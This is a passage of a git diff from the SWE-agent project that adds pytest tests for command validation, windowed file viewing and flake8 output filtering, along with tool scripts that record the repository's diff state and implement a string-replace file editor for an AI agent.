test_argument_validation(): + """Test argument validation rules.""" + # Required arguments must come before optional ones + with pytest.raises(ValueError, match="Required argument.*cannot come after optional arguments"): + Command( + name="bad_order", + docstring="bad argument order", + arguments=[ + Argument(name="optional", type="string", description="optional", required=False), + Argument(name="required", type="string", description="required", required=True), + ], + ) + + # Duplicate argument names + with pytest.raises(ValueError, match="Duplicate argument names"): + Command( + name="duplicate", + docstring="duplicate args", + arguments=[ + Argument(name="arg1", type="string", description="first", required=True), + Argument(name="arg1", type="string", description="duplicate", required=True), + ], + ) + + +def test_argument_name_patterns(): + """Test valid and invalid argument name patterns.""" + # Valid names including single characters + valid_names = ["a", "x", "n", "simple", "with_underscore", "with-dash", "with123numbers", "_starts_with_underscore"] + + for name in valid_names: + command = Command( + name="test", + docstring="test", + arguments=[Argument(name=name, type="string", description="test", required=True)], + ) + assert command.arguments[0].name == name + + # Invalid names + invalid_names = ["123starts_with_number", ""] + + for name in invalid_names: + with pytest.raises(ValueError, match="Invalid argument name"): + Command( + name="test", + docstring="test", + arguments=[Argument(name=name, type="string", description="test", required=True)], + ) + + +def test_signature_argument_consistency(): + """Test that signatures and arguments must be consistent.""" + # Missing argument in signature + with pytest.raises(ValueError, match="Missing argument.*in signature"): + Command( + name="missing_arg", + signature="missing_arg ", + docstring="missing argument in signature", + arguments=[ + Argument(name="existing_arg", type="string", description="exists", required=True), + Argument(name="missing_arg", type="string", description="not in signature", required=True), + ], + ) + + # Extra argument in signature + with pytest.raises(ValueError, match="Argument names.*do not match"): + Command( + name="extra_arg", + signature="extra_arg ", + docstring="extra argument in signature", + arguments=[Argument(name="arg1", type="string", description="exists", required=True)], + ) + + +def test_function_calling_tool_generation(): + """Test OpenAI function calling tool generation.""" + command = Command( + name="test_function", + docstring="A test function for OpenAI", + arguments=[ + Argument(name="required_arg", type="string", description="Required string argument", required=True), + Argument( + name="enum_arg", type="string", description="Enum argument", required=True, enum=["option1", "option2"] + ), + Argument(name="optional_arg", type="integer", description="Optional integer argument", required=False), + ], + ) + + tool = command.get_function_calling_tool() + + assert tool["type"] == "function" + assert tool["function"]["name"] == "test_function" + assert tool["function"]["description"] == "A test function for OpenAI" + + properties = tool["function"]["parameters"]["properties"] + assert properties["required_arg"]["type"] == "string" + assert properties["optional_arg"]["type"] == "integer" + assert properties["enum_arg"]["enum"] == ["option1", "option2"] + + required = tool["function"]["parameters"]["required"] + assert "required_arg" in required + assert "enum_arg" in required + assert "optional_arg" not in required + + +def test_multiline_command(): + """Test multi-line commands with end markers.""" + command = Command( + name="edit", + signature="edit ", + docstring="Edit a file with multi-line content", + end_name="EOF", + arguments=[Argument(name="filename", type="string", description="file to edit", required=True)], + ) + + assert command.invoke_format == "edit {filename}" + assert command.end_name == "EOF" + + +def test_custom_argument_format(): + """Test custom argument formatting.""" + command = Command( + name="custom_format", + docstring="Test custom argument formatting", + arguments=[ + Argument( + name="arg1", + type="string", + description="Custom formatted argument", + required=True, + argument_format="--{value}", + ) + ], + ) + + assert command.arguments[0].argument_format == "--{value}" + assert command.invoke_format == "custom_format {arg1} " diff --git a/tests/test_utils.py b/tests/test_utils.py new file mode 100644 index 0000000..9b25e7e --- /dev/null +++ b/tests/test_utils.py @@ -0,0 +1,15 @@ +from __future__ import annotations + +from pathlib import Path + +from sweagent import REPO_ROOT +from sweagent.utils.config import _convert_path_to_abspath, _convert_paths_to_abspath + + +def test_convert_path_to_abspath(): + assert _convert_path_to_abspath("sadf") == REPO_ROOT / "sadf" + assert _convert_path_to_abspath("/sadf") == Path("/sadf") + + +def test_convert_paths_to_abspath(): + assert _convert_paths_to_abspath([Path("sadf"), Path("/sadf")]) == [REPO_ROOT / "sadf", Path("/sadf")] diff --git a/tests/tools/__init__.py b/tests/tools/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/tests/tools/conftest.py b/tests/tools/conftest.py new file mode 100644 index 0000000..bc1c881 --- /dev/null +++ b/tests/tools/conftest.py @@ -0,0 +1,12 @@ +from unittest import mock + +import pytest + + +@pytest.fixture +def with_tmp_env_file(tmp_path): + env_file = tmp_path / ".swe-agent-env" + env_file.write_text("{}") + with mock.patch.dict("os.environ", {"SWE_AGENT_ENV_FILE": str(env_file)}, clear=True): + yield env_file + env_file.unlink() diff --git a/tests/tools/test_default_utils.py b/tests/tools/test_default_utils.py new file mode 100644 index 0000000..65c3364 --- /dev/null +++ b/tests/tools/test_default_utils.py @@ -0,0 +1,153 @@ +import json +import os +from pathlib import Path + +import pytest + +from sweagent import TOOLS_DIR +from tests.utils import make_python_tool_importable + +DEFAULT_TOOLS_DIR = TOOLS_DIR / "windowed" +DEFAULT_TOOLS_BIN = DEFAULT_TOOLS_DIR / "bin" + +make_python_tool_importable(DEFAULT_TOOLS_DIR / "lib/windowed_file.py", "windowed_file") +import windowed_file # type: ignore +from windowed_file import TextNotFound, WindowedFile # type: ignore + + +def test_env_file_override(with_tmp_env_file): + assert Path(os.getenv("SWE_AGENT_ENV_FILE")).name == ".swe-agent-env" # type: ignore + + +def create_test_file_with_content(tmp_env_file: Path, content: str) -> WindowedFile: + test_path = tmp_env_file.parent.joinpath("test.py") + registry = { + "CURRENT_FILE": str(test_path), + "FIRST_LINE": "0", + "WINDOW": "10", + } + tmp_env_file.write_text(json.dumps(registry)) + test_path.write_text(content) + wf = WindowedFile(exit_on_exception=False) + wf.offset_multiplier = 1 / 4 + return wf + + +@pytest.fixture +def windowed_file(with_tmp_env_file) -> WindowedFile: + content = "\n".join(map(str, range(100))) + return create_test_file_with_content(with_tmp_env_file, content) + + +def test_windowed_file(windowed_file): + wfile = windowed_file + assert wfile.first_line == 0 + wfile.first_line = 10 + assert wfile.first_line == 10 + assert wfile.window == 10 + assert wfile.n_lines == 100 + a, b = wfile.line_range + assert b - a == wfile.window - 1 + assert wfile.line_range == (10, 19) + wfile.print_window() + wfile.replace_in_window("10", "Hello, world!") + assert wfile.n_lines == 100 + assert wfile.line_range == (7, 16) + wfile.first_line = 50 + wfile.print_window() + wfile.replace_in_window("50", "Hello, world!") + wfile.print_window() + # Line 50 is now the 2nd line of the new window + assert wfile.line_range == (47, 56) + with pytest.raises(TextNotFound): + wfile.replace_in_window("asdf", "Hello, world!") + + +def test_windowed_file_goto(windowed_file): + wfile = windowed_file + assert wfile.first_line == 0 + wfile.first_line = 10 + wfile.goto(0, mode="top") + assert wfile.line_range[0] == 0 + wfile.goto(50, mode="top") + # first line is 50 - 10//4 = 47 + assert wfile.line_range[0] == 47 + wfile.goto(100, mode="top") + assert wfile.line_range[1] == 99 + + +def test_windowed_file_scroll(windowed_file): + wfile = windowed_file + assert wfile.first_line == 0 + wfile.first_line = 10 + wfile.scroll(10) + assert wfile.first_line == 20 + wfile.scroll(-10) + assert wfile.first_line == 10 + wfile.scroll(-100) + # Can't go lower than the middle of the lowest window + assert wfile.first_line == 0 + wfile.scroll(100) + assert wfile.line_range[1] == 99 + + +# def test_goto_command(windowed_file): +# wfile = windowed_file +# assert wfile.current_line == 10 +# assert (DEFAULT_TOOLS_BIN / "goto").exists() + +# # Use sys.executable to get the correct Python interpreter +# import sys +# cmd = f"{sys.executable} {DEFAULT_TOOLS_BIN}/goto 50" +# print( +# subprocess.check_output( +# cmd, +# shell=True, +# universal_newlines=True, +# stderr=subprocess.STDOUT, +# env=os.environ.copy(), # Ensure we pass the current environment +# ) +# ) +# assert wfile.current_line == 50 + + +_DEFAULT_WINDOW_OUTPUT = """[File: {path} (100 lines total)] +(10 more lines above) +11:10 +12:11 +13:12 +14:13 +15:14 +16:15 +17:16 +18:17 +19:18 +20:19 +(80 more lines below) +""" + + +def test_print_window(windowed_file, capsys): + wfile = windowed_file + wfile.first_line = 10 + wfile.print_window() + captured = capsys.readouterr() + print(captured.out) + expected = _DEFAULT_WINDOW_OUTPUT.format(path=wfile.path.resolve()) + assert captured.out == expected + + +_DEFAULT_WINDOW_OUTPUT_NEW_FILE = """[File: {path} (1 lines total)] +1: +""" + + +def test_print_window_new_file(with_tmp_env_file, capsys): + wfile = create_test_file_with_content(with_tmp_env_file, "\n") + assert wfile.n_lines == 1 + assert wfile.line_range == (0, 0) + wfile.print_window() + captured = capsys.readouterr() + print(captured.out) + expected = _DEFAULT_WINDOW_OUTPUT_NEW_FILE.format(path=wfile.path.resolve()) + assert captured.out == expected diff --git a/tests/tools/test_edit_replace.py b/tests/tools/test_edit_replace.py new file mode 100644 index 0000000..e69de29 diff --git a/tests/tools/test_split_string.py b/tests/tools/test_split_string.py new file mode 100644 index 0000000..3f5a1df --- /dev/null +++ b/tests/tools/test_split_string.py @@ -0,0 +1,82 @@ +from __future__ import annotations + +from tests.utils import make_python_tool_importable + +make_python_tool_importable("tools/windowed/lib/flake8_utils.py", "flake8_utils") +from flake8_utils import Flake8Error, format_flake8_output # type: ignore + + +def test_partition_flake8_line(): + assert Flake8Error.from_line("existing_lint error.py:12:41: E999 SyntaxError: invalid syntax") == Flake8Error( + "existing_lint error.py", 12, 41, "E999 SyntaxError: invalid syntax" + ) + + +# def test_update_previous_errors(): +# previous_errors = [ +# Flake8Error("existing_lint_error.py", 12, 41, "E999 SyntaxError: invalid syntax"), +# Flake8Error("existing_lint_error.py", 15, 41, "E999 SyntaxError: invalid syntax"), +# Flake8Error("existing_lint_error.py", 20, 41, "E999 SyntaxError: invalid syntax"), +# ] +# assert _update_previous_errors(previous_errors, (15, 18), 3) == [ +# Flake8Error("existing_lint_error.py", 12, 41, "E999 SyntaxError: invalid syntax"), +# Flake8Error("existing_lint_error.py", 19, 41, "E999 SyntaxError: invalid syntax"), +# ] +# assert _update_previous_errors([], (15, 18), 3) == [] + + +def test_flake8_format_no_error_1(): + assert ( + format_flake8_output( + "a:12:41: e", previous_errors_string="a:12:41: e", replacement_window=(50, 51), replacement_n_lines=10 + ) + == "" + ) + + +def test_flake8_format_no_error_2(): + assert ( + format_flake8_output( + "a:12:41: e", previous_errors_string="a:13:41: e", replacement_window=(1, 2), replacement_n_lines=1 + ) + == "" + ) + + +def test_flake8_format_no_error_3(): + assert ( + format_flake8_output( + "a:12:41: e", + previous_errors_string="a:13:41: e", + replacement_window=(1, 2), + replacement_n_lines=1, + show_line_numbers=False, + ) + == "" + ) + + +def test_flake8_format_error_1(): + assert ( + format_flake8_output( + "a:12:41: e", + previous_errors_string="a:13:41: e", + replacement_window=(12, 13), + replacement_n_lines=10, + show_line_numbers=False, + ) + == "- e" + ) + + +def test_flake8_format_error_1_linenumbers(): + assert ( + format_flake8_output( + "a:12:41: e", + previous_errors_string="a:13:41: e", + replacement_window=(12, 13), + replacement_n_lines=10, + show_line_numbers=True, + ) + == "- line 12 col 41: e" + ) diff --git a/tests/utils.py b/tests/utils.py new file mode 100644 index 0000000..4540277 --- /dev/null +++ b/tests/utils.py @@ -0,0 +1,29 @@ +import importlib.machinery +import importlib.util +import sys +from pathlib import Path + + +def make_python_tool_importable(file_path: str | Path, module_name: str | None = None) -> None: + """Import a Python executable script and add it to sys.modules. + + Args: + file_path: Path to the executable script (relative or absolute) + module_name: Name of the module to import the script as. If None, the filename stem is used. + """ + # Convert to absolute path if needed + abs_path = Path(file_path).resolve().as_posix() + module_name = Path(file_path).stem if module_name is None else module_name + + if module_name in sys.modules: + return # Module already imported + + loader = importlib.machinery.SourceFileLoader(module_name, abs_path) + spec = importlib.util.spec_from_file_location(module_name, abs_path, loader=loader) + if spec is None or spec.loader is None: + msg = f"Could not load module spec for {file_path}" + raise ImportError(msg) + + module = importlib.util.module_from_spec(spec) + sys.modules[module_name] = module + spec.loader.exec_module(module) diff --git a/tools/diff_state/bin/_state_diff_state b/tools/diff_state/bin/_state_diff_state new file mode 100644 index 0000000..db7d3b8 --- /dev/null +++ b/tools/diff_state/bin/_state_diff_state @@ -0,0 +1,52 @@ +#!/usr/bin/env python3 + +def main() -> None: + import json + import os + from pathlib import Path + import subprocess + + from registry import registry + + state_path = Path("/root/state.json") + if state_path.exists(): + state = json.loads(state_path.read_text()) + else: + state = {} + + repo_root = registry.get("ROOT", os.getenv("ROOT")) + + patch_path = Path("/root/model.patch") + + subprocess.run( + f"git add -A && git diff --cached > {patch_path}", + shell=True, + stdout=subprocess.DEVNULL, + stderr=subprocess.DEVNULL, + cwd=repo_root, + ) + + patch = patch_path.read_text(errors="backslashreplace") + state["diff"] = patch.strip() + + state_path.write_text(json.dumps(state)) + + +def _del_diff(): + from pathlib import Path + import json + + state_path = Path("/root/state.json") + if state_path.exists(): + state = json.loads(state_path.read_text()) + else: + state = {} + state["diff"] = "" + state_path.write_text(json.dumps(state)) + + +if __name__ == "__main__": + try: + main() + except Exception as e: + _del_diff() \ No newline at end of file diff --git a/tools/diff_state/config.yaml b/tools/diff_state/config.yaml new file mode 100644 index 0000000..590aefa --- /dev/null +++ b/tools/diff_state/config.yaml @@ -0,0 +1,2 @@ +tools: {} +state_command: "_state_diff_state" \ No newline at end of file diff --git a/tools/edit_anthropic/bin/_state_anthropic b/tools/edit_anthropic/bin/_state_anthropic new file mode 100644 index 0000000..712b708 --- /dev/null +++ b/tools/edit_anthropic/bin/_state_anthropic @@ -0,0 +1,21 @@ +#!/usr/bin/env python3 + +import json +import os +from pathlib import Path + + +def main(): + state_path = Path("/root/state.json") + if state_path.exists(): + state = json.loads(state_path.read_text()) + else: + state = {} + + state["working_dir"] = os.getcwd() + + state_path.write_text(json.dumps(state)) + + +if __name__ == "__main__": + main() diff --git a/tools/edit_anthropic/bin/str_replace_editor b/tools/edit_anthropic/bin/str_replace_editor new file mode 100644 index 0000000..a507c95 --- /dev/null +++ b/tools/edit_anthropic/bin/str_replace_editor @@ -0,0 +1,712 @@ +#!/usr/bin/env python3 + +"""This is an adaptation of the Anthropic Text Editor tool from +https://github.com/anthropics/anthropic-quickstarts/blob/main/computer-use-demo/computer_use_demo/tools/edit.py +However, we made it python 3.6 compatible and stateless (all state is saved in a json file) +""" + +import argparse +import json +import re +import subprocess +import sys +from collections import defaultdict +from pathlib import Path +from typing import List, Optional, Tuple +import io + +from registry import registry as REGISTRY + + +# There are some super strange "ascii can't decode x" errors, +# that can be solved with setting the default encoding for stdout +# (note that python3.6 doesn't have the reconfigure method) +sys.stdout = io.TextIOWrapper(sys.stdout.buffer, encoding="utf-8") + +# Type annotation comments for Python 3.5 compatibility +TRUNCATED_MESSAGE = "To save on context only part of this file has been shown to you. You should retry this tool after you have searched inside the file with `grep -n` in order to find the line numbers of what you are looking for." # type: str +MAX_RESPONSE_LEN = 16000 # type: int + +MAX_WINDOW_EXPANSION_VIEW = int(REGISTRY.get("MAX_WINDOW_EXPANSION_VIEW", 0)) +MAX_WINDOW_EXPANSION_EDIT_CONFIRM = int(REGISTRY.get("MAX_WINDOW_EXPANSION_EDIT_CONFIRM", 0)) +USE_FILEMAP = REGISTRY.get("USE_FILEMAP", "false").lower() == "true" +USE_LINTER = REGISTRY.get("USE_LINTER", "false").lower() == "true" +Command = str +SNIPPET_LINES = 4 # type: int +LINT_WARNING_TEMPLATE = """ + +Your edits have been applied, but the linter has found syntax errors. + + +{errors} + + +Please review the changes and make sure they are correct. +In addition to the above errors, please also check the following: + +1. The edited file is correctly indented +2. The edited file does not contain duplicate lines +3. The edit does not break existing functionality + +In rare cases, the linter errors might not actually be errors or caused by your edit. Please use your own judgement. + +Edit the file again if necessary. +""" + + +def maybe_truncate(content: str, truncate_after: Optional[int] = MAX_RESPONSE_LEN): + """Truncate content and append a notice if content exceeds the specified length.""" + return ( + content + if not truncate_after or len(content) <= truncate_after + else content[:truncate_after] + TRUNCATED_MESSAGE + ) + + +class Flake8Error: + """A class to represent a single flake8 error""" + + def __init__(self, filename: str, line_number: int, col_number: int, problem: str): + self.filename = filename + self.line_number = line_number + self.col_number = col_number + self.problem = problem + + @classmethod + def from_line(cls, line: str): + try: + prefix, _sep, problem = line.partition(": ") + filename, line_number, col_number = prefix.split(":") + except (ValueError, IndexError) as e: + msg = "Invalid flake8 error line: {}".format(line) + raise ValueError(msg) from e + return cls(filename, int(line_number), int(col_number), problem) + + def __eq__(self, other): + if not isinstance(other, Flake8Error): + return NotImplemented + return ( + self.filename == other.filename + and self.line_number == other.line_number + and self.col_number == other.col_number + and self.problem == other.problem + ) + + def __repr__(self): + return "Flake8Error(filename={}, line_number={}, col_number={}, problem={})".format( + self.filename, self.line_number, self.col_number, self.problem) + + +def _update_previous_errors( + previous_errors: List[Flake8Error], replacement_window: Tuple[int, int], replacement_n_lines: int +) -> List[Flake8Error]: + """Update the line numbers of the previous errors to what they would be after the edit window. + This is a helper function for `_filter_previous_errors`. + + All previous errors that are inside of the edit window should not be ignored, + so they are removed from the previous errors list. + + Args: + previous_errors: list of errors with old line numbers + replacement_window: the window of the edit/lines that will be replaced + replacement_n_lines: the number of lines that will be used to replace the text + + Returns: + list of errors with updated line numbers + """ + updated = [] + lines_added = replacement_n_lines - (replacement_window[1] - replacement_window[0] + 1) + for error in previous_errors: + if error.line_number < replacement_window[0]: + # no need to adjust the line number + updated.append(error) + continue + if replacement_window[0] <= error.line_number <= replacement_window[1]: + # The error is within the edit window, so let's not ignore it + # either way (we wouldn't know how to adjust the line number anyway) + continue + # We're out of the edit window, so we need to adjust the line number + updated.append(Flake8Error(error.filename, error.line_number + lines_added, error.col_number, error.problem)) + return updated + + +def format_flake8_output( + input_string: str, + show_line_numbers: bool = False, + *, + previous_errors_string: str = "", + replacement_window: Optional[Tuple[int, int]] = None, + replacement_n_lines: Optional[int] = None, +) -> str: + """Filter flake8 output for previous errors and print it for a given file. + + Args: + input_string: The flake8 output as a string + show_line_numbers: Whether to show line numbers in the output + previous_errors_string: The previous errors as a string + replacement_window: The window of the edit (lines that will be replaced) + replacement_n_lines: The number of lines used to replace the text + + Returns: + The filtered flake8 output as a string + """ + # print("Replacement window: {}".format(replacement_window)) + # print("Replacement n lines:", replacement_n_lines) + # print("Previous errors string:", previous_errors_string) + # print("Input string:", input_string) + errors = [Flake8Error.from_line(line.strip()) for line in input_string.split("\n") if line.strip()] + # print("New errors before filtering: errors={}".format(errors)) + lines = [] + if previous_errors_string: + assert replacement_window is not None + assert replacement_n_lines is not None + previous_errors = [ + Flake8Error.from_line(line.strip()) for line in previous_errors_string.split("\n") if line.strip() + ] + # print("Previous errors before updating: previous_errors={}".format(previous_errors)) + previous_errors = _update_previous_errors(previous_errors, replacement_window, replacement_n_lines) + # print("Previous errors after updating: previous_errors={}".format(previous_errors)) + errors = [error for error in errors if error not in previous_errors] + # Sometimes new errors appear above the replacement window that were 'shadowed' by the previous errors + # they still clearly aren't caused by the edit. + errors = [error for error in errors if error.line_number >= replacement_window[0]] + # print("New errors after filtering: errors={}".format(errors)) + for error in errors: + if not show_line_numbers: + lines.append("- {}".format(error.problem)) + else: + lines.append("- line {} col {}: {}".format(error.line_number, error.col_number, error.problem)) + return "\n".join(lines) + + +def flake8(file_path: str) -> str: + """Run flake8 on a given file and return the output as a string""" + if Path(file_path).suffix != ".py": + return "" + cmd = REGISTRY.get("LINT_COMMAND", "flake8 --isolated --select=F821,F822,F831,E111,E112,E113,E999,E902 {file_path}") + # don't use capture_output because it's not compatible with python3.6 + out = subprocess.run(cmd.format(file_path=file_path), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) + return out.stdout.decode() + + +class Filemap: + def show_filemap(self, file_contents: str, encoding: str = "utf8"): + import warnings + from tree_sitter_languages import get_language, get_parser + + warnings.simplefilter("ignore", category=FutureWarning) + + parser = get_parser("python") + language = get_language("python") + + tree = parser.parse(bytes(file_contents.encode(encoding, errors="replace"))) + + # See https://tree-sitter.github.io/tree-sitter/using-parsers#pattern-matching-with-queries. + query = language.query(""" + (function_definition + body: (_) @body) + """) + + # TODO: consider special casing docstrings such that they are not elided. This + # could be accomplished by checking whether `body.text.decode('utf8')` starts + # with `"""` or `'''`. + elide_line_ranges = [ + (node.start_point[0], node.end_point[0]) + for node, _ in query.captures(tree.root_node) + # Only elide if it's sufficiently long + if node.end_point[0] - node.start_point[0] >= 5 + ] + # Note that tree-sitter line numbers are 0-indexed, but we display 1-indexed. + elide_lines = {line for start, end in elide_line_ranges for line in range(start, end + 1)} + elide_messages = [(start, "... eliding lines {}-{} ...".format(start+1, end+1)) for start, end in elide_line_ranges] + out = [] + for i, line in sorted( + elide_messages + [(i, line) for i, line in enumerate(file_contents.splitlines()) if i not in elide_lines] + ): + out.append("{:6d} {}".format(i+1, line)) + return "\n".join(out) + + +class WindowExpander: + def __init__(self, suffix: str = ""): + """Try to expand viewports to include whole functions, classes, etc. rather than + using fixed line windows. + + Args: + suffix: Filename suffix + """ + self.suffix = suffix + if self.suffix: + assert self.suffix.startswith(".") + + def _find_breakpoints(self, lines: List[str], current_line: int, direction=1, max_added_lines: int = 30) -> int: + """Returns 1-based line number of breakpoint. This line is meant to still be included in the viewport. + + Args: + lines: List of lines of the file + current_line: 1-based line number of the current viewport + direction: 1 for down, -1 for up + max_added_lines: Maximum number of lines to extend + + Returns: + 1-based line number of breakpoint. This line is meant to still be included in the viewport. + """ + assert 1 <= current_line <= len(lines) + assert 0 <= max_added_lines + + # 1. Find line range that we want to search for breakpoints in + + if direction == 1: + # down + if current_line == len(lines): + # already last line, can't extend down + return current_line + iter_lines = range(current_line, 1 + min(current_line + max_added_lines, len(lines))) + elif direction == -1: + # up + if current_line == 1: + # already first line, can't extend up + return current_line + iter_lines = range(current_line, -1 + max(current_line - max_added_lines, 1), -1) + else: + msg = "Invalid direction {}".format(direction) + raise ValueError(msg) + + # 2. Find the best breakpoint in the line range + + # Every condition gives a score, the best score is the best breakpoint + best_score = 0 + best_breakpoint = current_line + for i_line in iter_lines: + next_line = None + line = lines[i_line - 1] + if i_line + direction in iter_lines: + next_line = lines[i_line + direction - 1] + score = 0 + if line == "": + score = 1 + if next_line == "": + # Double new blank line: + score = 2 + if self.suffix == ".py" and any( + re.match(regex, line) for regex in [r"^\s*def\s+", r"^\s*class\s+", r"^\s*@"] + ): + # We include decorators here, because they are always on top of the function/class definition + score = 3 + if score > best_score: + best_score = score + best_breakpoint = i_line + if direction == 1 and i_line != current_line: + best_breakpoint -= 1 + if i_line == 1 or i_line == len(lines): + score = 3 + if score > best_score: + best_score = score + best_breakpoint = i_line + # print("Score {} for line {} ({})".format(score, i_line, line)) + + # print("Best score {} for line {} ({})".format(best_score, best_breakpoint, lines[best_breakpoint-1])) + if direction == 1 and best_breakpoint < current_line or direction == -1 and best_breakpoint > current_line: + # We don't want to shrink the view port, so we return the current line + return current_line + + return best_breakpoint + + def expand_window(self, lines: List[str], start: int, stop: int, max_added_lines: int) -> Tuple[int, int]: + """ + + Args: + lines: All lines of the file + start: 1-based line number of the start of the viewport + stop: 1-based line number of the end of the viewport + max_added_lines: Maximum number of lines to extend (separately for each side) + + Returns: + Tuple of 1-based line numbers of the start and end of the viewport. + Both inclusive. + """ + # print("Input:", start, stop) + assert 1 <= start <= stop <= len(lines), (start, stop, len(lines)) + if max_added_lines <= 0: + # Already at max range, no expansion + return start, stop + new_start = self._find_breakpoints(lines, start, direction=-1, max_added_lines=max_added_lines) + new_stop = self._find_breakpoints(lines, stop, direction=1, max_added_lines=max_added_lines) + # print("Expanded window is {} to {}".format(new_start, new_stop)) + assert new_start <= new_stop, (new_start, new_stop) + assert new_start <= start, (new_start, start) + assert start - new_start <= max_added_lines, (start, new_start) + assert new_stop >= stop, (new_stop, stop) + assert new_stop - stop <= max_added_lines, (new_stop, stop) + return new_start, new_stop + + +class EditTool: + """ + An filesystem editor tool that allows the agent to view, create, and edit files. + The tool parameters are defined by Anthropic and are not editable. + """ + + name = "str_replace_editor" + + def __init__(self): + super().__init__() + self._encoding = None + + @property + def _file_history(self): + return defaultdict(list, json.loads(REGISTRY.get("file_history", "{}"))) + + @_file_history.setter + def _file_history(self, value: dict): + REGISTRY["file_history"] = json.dumps(value) + + def __call__( + self, + *, + command: Command, + path: str, + file_text: Optional[str] = None, + view_range: Optional[List[int]] = None, + old_str: Optional[str] = None, + new_str: Optional[str] = None, + insert_line: Optional[int] = None, + **kwargs, + ): + _path = Path(path) + self.validate_path(command, _path) + if command == "view": + return self.view(_path, view_range) + elif command == "create": + if file_text is None: + print("Parameter `file_text` is required for command: create") + sys.exit(1) + self.create_file(_path, file_text) + return None + elif command == "str_replace": + if old_str is None: + print("Parameter `old_str` is required for command: str_replace") + sys.exit(2) + return self.str_replace(_path, old_str, new_str) + elif command == "insert": + if insert_line is None: + print("Parameter `insert_line` is required for command: insert") + sys.exit(3) + if new_str is None: + print("Parameter `new_str` is required for command: insert") + sys.exit(4) + return self.insert(_path, insert_line, new_str) + elif command == "undo_edit": + return self.undo_edit(_path) + print( + 'Unrecognized command {}. The allowed commands for the {} tool are: "view", "create", "str_replace", "insert", "undo_edit"'.format(command, self.name) + ) + sys.exit(5) + + def validate_path(self, command: str, path: Path): + """ + Check that the path/command combination is valid. + """ + # Check if its an absolute path + if not path.is_absolute(): + suggested_path = Path.cwd() / path + print( + "The path {} is not an absolute path, it should start with `/`. Maybe you meant {}?".format(path, suggested_path) + ) + sys.exit(6) + # Check if path exists + if not path.exists() and command != "create": + print("The path {} does not exist. Please provide a valid path.".format(path)) + sys.exit(7) + if path.exists() and command == "create": + print("File already exists at: {}. Cannot overwrite files using command `create`.".format(path)) + sys.exit(8) + # Check if the path points to a directory + if path.is_dir(): + if command != "view": + print("The path {} is a directory and only the `view` command can be used on directories".format(path)) + sys.exit(9) + + def create_file(self, path: Path, file_text: str): + if not path.parent.exists(): + print("The parent directory {} does not exist. Please create it first.".format(path.parent)) + sys.exit(21) + self.write_file(path, file_text) + self._file_history[path].append(file_text) + print("File created successfully at: {}".format(path)) + + def view(self, path: Path, view_range: Optional[List[int]] = None): + """Implement the view command""" + if path.is_dir(): + if view_range: + print("The `view_range` parameter is not allowed when `path` points to a directory.") + sys.exit(10) + + out = subprocess.run( + r"find {} -maxdepth 2 -not -path '*/\.*'".format(path), + shell=True, + stdout=subprocess.PIPE, + stderr=subprocess.PIPE, + ) + stdout = out.stdout.decode() + stderr = out.stderr.decode() + + if not stderr: + stdout = "Here's the files and directories up to 2 levels deep in {}, excluding hidden items:\n{}\n".format(path, stdout) + print(stdout) + return + + file_content = self.read_file(path) + if view_range: + if len(view_range) != 2 or not all(isinstance(i, int) for i in view_range): + print("Invalid `view_range`. It should be a list of two integers.") + sys.exit(11) + file_lines = file_content.split("\n") + n_lines_file = len(file_lines) + init_line, final_line = view_range + if init_line < 1 or init_line > n_lines_file: + print( + "Invalid `view_range`: {}. Its first element `{}` should be within the range of lines of the file: {}".format(view_range, init_line, [1, n_lines_file]) + ) + sys.exit(12) + if final_line > n_lines_file: + print( + "Invalid `view_range`: {}. Its second element `{}` should be smaller than the number of lines in the file: `{}`".format(view_range, final_line, n_lines_file) + ) + sys.exit(13) + if final_line != -1 and final_line < init_line: + print( + "Invalid `view_range`: {}. Its second element `{}` should be larger or equal than its first `{}`".format(view_range, final_line, init_line) + ) + sys.exit(14) + + if final_line == -1: + final_line = n_lines_file + + # Expand the viewport to include the whole function or class + init_line, final_line = WindowExpander(suffix=path.suffix).expand_window( + file_lines, init_line, final_line, max_added_lines=MAX_WINDOW_EXPANSION_VIEW + ) + + file_content = "\n".join(file_lines[init_line - 1 : final_line]) + else: + if path.suffix == ".py" and len(file_content) > MAX_RESPONSE_LEN and USE_FILEMAP: + try: + filemap = Filemap().show_filemap(file_content, encoding=self._encoding or "utf-8") + except Exception: + # If we fail to show the filemap, just show the truncated file content + pass + else: + print( + "This file is too large to display entirely. Showing abbreviated version. " + "Please use `str_replace_editor view` with the `view_range` parameter to show selected lines next." + ) + filemap = maybe_truncate(filemap.expandtabs()) + print(filemap) + print( + "The above file has been abbreviated. Please use `str_replace editor view` with `view_range` to look at relevant files in detail." + ) + return + # Else just show + init_line = 1 + + # init_line is 1-based + print(self._make_output(file_content, str(path), init_line=init_line)) + + def str_replace(self, path: Path, old_str: str, new_str: Optional[str]): + """Implement the str_replace command, which replaces old_str with new_str in the file content""" + # Read the file content + file_content = self.read_file(path).expandtabs() + old_str = old_str.expandtabs() + new_str = new_str.expandtabs() if new_str is not None else "" + + # Check if old_str is unique in the file + occurrences = file_content.count(old_str) + if occurrences == 0: + print("No replacement was performed, old_str `{}` did not appear verbatim in {}.".format(old_str, path)) + sys.exit(15) + elif occurrences > 1: + file_content_lines = file_content.split("\n") + lines = [idx + 1 for idx, line in enumerate(file_content_lines) if old_str in line] + print( + "No replacement was performed. Multiple occurrences of old_str `{}` in lines {}. Please ensure it is unique".format(old_str, lines) + ) + sys.exit(16) + + if new_str == old_str: + print("No replacement was performed, old_str `{}` is the same as new_str `{}`.".format(old_str, new_str)) + sys.exit(161) + + pre_edit_lint = "" + if USE_LINTER: + try: + pre_edit_lint = flake8(str(path)) + except Exception as e: + print("Warning: Failed to run pre-edit linter on {}: {}".format(path, e)) + + # Replace old_str with new_str + new_file_content = file_content.replace(old_str, new_str) + + # Write the new content to the file + self.write_file(path, new_file_content) + + post_edit_lint = "" + if USE_LINTER: + try: + post_edit_lint = flake8(str(path)) + except Exception as e: + print("Warning: Failed to run post-edit linter on {}: {}".format(path, e)) + + epilogue = "" + if post_edit_lint: + ... + replacement_window_start_line = file_content.split(old_str)[0].count("\n") + 1 + replacement_lines = len(new_str.split("\n")) + replacement_window_end_line = replacement_window_start_line + replacement_lines - 1 + replacement_window = (replacement_window_start_line, replacement_window_end_line) + errors = format_flake8_output( + post_edit_lint, + previous_errors_string=pre_edit_lint, + replacement_window=replacement_window, + replacement_n_lines=replacement_lines, + ) + if errors.strip(): + epilogue = LINT_WARNING_TEMPLATE.format(errors=errors) + + # Save the content to history + self._file_history[path].append(file_content) + + # Create a snippet of the edited section + replacement_line = file_content.split(old_str)[0].count("\n") + start_line = max(1, 